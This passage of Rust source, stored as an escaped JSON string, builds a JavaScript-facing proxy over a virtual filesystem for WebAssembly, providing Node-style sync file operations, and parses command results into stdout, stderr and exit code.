exec_closure)\n}\n\nfn build_fs_proxy(fs: &Arc<dyn VirtualFs>) -> JsValue {\n    let obj = Object::new();\n\n    // We create closures that capture a clone of the Arc<dyn VirtualFs>.\n    // Each closure is converted to a js_sys::Function via wasm_bindgen::closure::Closure.\n\n    // readFileSync(path: string) -> string\n    let fs_clone = Arc::clone(fs);\n    let read_file = Closure::wrap(Box::new(move |path: String| -> Result<JsValue, JsValue> {\n        let data = fs_clone\n            .read_file(Path::new(&path))\n            .map_err(|e| JsValue::from_str(&e.to_string()))?;\n        let s = String::from_utf8(data).map_err(|e| JsValue::from_str(&e.to_string()))?;\n        Ok(JsValue::from_str(&s))\n    }) as Box<dyn FnMut(String) -> Result<JsValue, JsValue>>);\n    let _ = Reflect::set(&obj, &\"readFileSync\".into(), read_file.as_ref());\n    read_file.forget();\n\n    // writeFileSync(path: string, content: string)\n    let fs_clone = Arc::clone(fs);\n    let write_file = Closure::wrap(Box::new(\n        move |path: String, content: String| -> Result<JsValue, JsValue> {\n            let p = Path::new(&path);\n            if let Some(parent) = p.parent() {\n                if parent != Path::new(\"/\") {\n                    let _ = fs_clone.mkdir_p(parent);\n                }\n            }\n            fs_clone\n                .write_file(p, content.as_bytes())\n                .map_err(|e| JsValue::from_str(&e.to_string()))?;\n            Ok(JsValue::UNDEFINED)\n        },\n    )\n        as Box<dyn FnMut(String, String) -> Result<JsValue, JsValue>>);\n    let _ = Reflect::set(&obj, &\"writeFileSync\".into(), write_file.as_ref());\n    write_file.forget();\n\n    // existsSync(path: string) -> boolean\n    let fs_clone = Arc::clone(fs);\n    let exists = Closure::wrap(Box::new(move |path: String| -> JsValue {\n        JsValue::from_bool(fs_clone.exists(Path::new(&path)))\n    }) as Box<dyn FnMut(String) -> JsValue>);\n    let _ = Reflect::set(&obj, &\"existsSync\".into(), exists.as_ref());\n    exists.forget();\n\n    // mkdirSync(path: string, opts?: { recursive: boolean })\n    let fs_clone = Arc::clone(fs);\n    let mkdir_fn = Closure::wrap(Box::new(\n        move |path: String, opts: JsValue| -> Result<JsValue, JsValue> {\n            let p = Path::new(&path);\n            let recursive = if !opts.is_undefined() && !opts.is_null() {\n                Reflect::get(&opts, &\"recursive\".into())\n                    .ok()\n                    .and_then(|v| v.as_bool())\n                    .unwrap_or(false)\n            } else {\n                false\n            };\n            if recursive {\n                fs_clone\n                    .mkdir_p(p)\n                    .map_err(|e| JsValue::from_str(&e.to_string()))?;\n            } else {\n                fs_clone\n                    .mkdir(p)\n                    .map_err(|e| JsValue::from_str(&e.to_string()))?;\n            }\n            Ok(JsValue::UNDEFINED)\n        },\n    )\n        as Box<dyn FnMut(String, JsValue) -> Result<JsValue, JsValue>>);\n    let _ = Reflect::set(&obj, &\"mkdirSync\".into(), mkdir_fn.as_ref());\n    mkdir_fn.forget();\n\n    // readdirSync(path: string) -> string[]\n    let fs_clone = Arc::clone(fs);\n    let readdir = Closure::wrap(Box::new(move |path: String| -> Result<JsValue, JsValue> {\n        let entries = fs_clone\n            .readdir(Path::new(&path))\n            .map_err(|e| JsValue::from_str(&e.to_string()))?;\n        let arr = Array::new();\n        for entry in entries {\n            arr.push(&JsValue::from_str(&entry.name));\n        }\n        Ok(arr.into())\n    }) as Box<dyn FnMut(String) -> Result<JsValue, JsValue>>);\n    let _ = Reflect::set(&obj, &\"readdirSync\".into(), readdir.as_ref());\n    readdir.forget();\n\n    // rmSync(path: string, opts?: { recursive: boolean })\n    let fs_clone = Arc::clone(fs);\n    let rm_fn = Closure::wrap(Box::new(\n        move |path: String, opts: JsValue| -> Result<JsValue, JsValue> {\n            let p = Path::new(&path);\n            let recursive = if !opts.is_undefined() && !opts.is_null() {\n                Reflect::get(&opts, &\"recursive\".into())\n                    .ok()\n                    .and_then(|v| v.as_bool())\n                    .unwrap_or(false)\n            } else {\n                false\n            };\n            if recursive {\n                fs_clone\n                    .remove_dir_all(p)\n                    .map_err(|e| JsValue::from_str(&e.to_string()))?;\n            } else if fs_clone\n                .stat(p)\n                .map(|m| m.node_type == crate::vfs::NodeType::Directory)\n                .unwrap_or(false)\n            {\n                fs_clone\n                    .remove_dir(p)\n                    .map_err(|e| JsValue::from_str(&e.to_string()))?;\n            } else {\n                fs_clone\n                    .remove_file(p)\n                    .map_err(|e| JsValue::from_str(&e.to_string()))?;\n            }\n            Ok(JsValue::UNDEFINED)\n        },\n    )\n        as Box<dyn FnMut(String, JsValue) -> Result<JsValue, JsValue>>);\n    let _ = Reflect::set(&obj, &\"rmSync\".into(), rm_fn.as_ref());\n    rm_fn.forget();\n\n    // statSync(path: string) -> { size: number, isFile: boolean, isDirectory: boolean }\n    let fs_clone = Arc::clone(fs);\n    let stat_fn = Closure::wrap(Box::new(move |path: String| -> Result<JsValue, JsValue> {\n        let meta = fs_clone\n            .stat(Path::new(&path))\n            .map_err(|e| JsValue::from_str(&e.to_string()))?;\n        let obj = Object::new();\n        let _ = Reflect::set(&obj, &\"size\".into(), &JsValue::from_f64(meta.size as f64));\n        let _ = Reflect::set(\n            &obj,\n            &\"isFile\".into(),\n            &JsValue::from_bool(meta.node_type == crate::vfs::NodeType::File),\n        );\n        let _ = Reflect::set(\n            &obj,\n            &\"isDirectory\".into(),\n            &JsValue::from_bool(meta.node_type == crate::vfs::NodeType::Directory),\n        );\n        Ok(obj.into())\n    }) as Box<dyn FnMut(String) -> Result<JsValue, JsValue>>);\n    let _ = Reflect::set(&obj, &\"statSync\".into(), stat_fn.as_ref());\n    stat_fn.forget();\n\n    obj.into()\n}\n\nfn parse_command_result(val: &JsValue) -> CommandResult {\n    let stdout = Reflect::get(val, &\"stdout\".into())\n        .ok()\n        .and_then(|v| v.as_string())\n        .unwrap_or_default();\n    let stderr = Reflect::get(val, &\"stderr\".into())\n        .ok()\n        .and_then(|v| v.as_string())\n        .unwrap_or_default();\n    let exit_code = Reflect::get(val, &\"exitCode\".into())\n        .ok()\n        .and_then(|v| v.as_f64())\n        .unwrap_or(0.0) as i32;\n\n    CommandResult {\n        stdout,\n        stderr,\n        exit_code,\n        stdout_bytes: None,\n    }\n}\n"}